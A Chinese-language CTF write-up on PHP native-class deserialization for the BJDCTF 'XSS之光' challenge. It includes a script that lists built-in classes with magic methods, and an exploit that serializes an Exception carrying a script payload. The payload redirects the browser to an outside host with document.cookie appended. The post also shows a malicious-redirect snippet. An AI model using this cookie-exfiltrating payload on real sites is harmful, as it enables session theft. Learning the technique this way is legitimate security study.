PHP原生类反序列化
在做BJDCTF中的题目XSS之光的时候遇到了PHP原生类的反序列化,以前没有了解过,现在来学习一波。
基础知识
首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。
当对象被创建的时候调用:__construct
当对象被销毁的时候调用:__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
序列化对象之前就调用此方法(其返回需要是一个数组):__sleep
反序列化恢复对象之前就调用此方法:__wakeup
当调用对象中不存在的方法会自动调用此方法:__call
看一下当前php本身内置类有:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny
来禁止一些类的反序列化,比如序列化DirectoryIterator
的时候。
回到本题,本题存在git源码泄露,用GitHack下载源码后只有简单的两行。
这里要利用魔法方法 __toString来实现xss,而
__toString中Error 和 Exception类 会造成XSS 但是Error只适于php7下造成xss,Exception php5和php7都适用
用burp抓包发现是php5.6的,因此是Exception。
于是先用下面的exp看看有没有弹窗。
exp:
<?php
$a = unserialize($_GET['lemon']);
echo $a;
然后本题的exp:
<?php
$a = new Exception("<script>window.location.href='http://d6660a8d-a82f-4db8-a56a-4999a0d28bb3.node3.buuoj.cn/'+document.cookie</script>");
echo urlencode(serialize($a));
flag就在cookie和url上面
在这里学下xss相关知识:
#实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>
参考博客:
https://blog.csdn.net/qq_43431158/article/details/105135969?%3E
感谢大佬!!!菜鸡受教了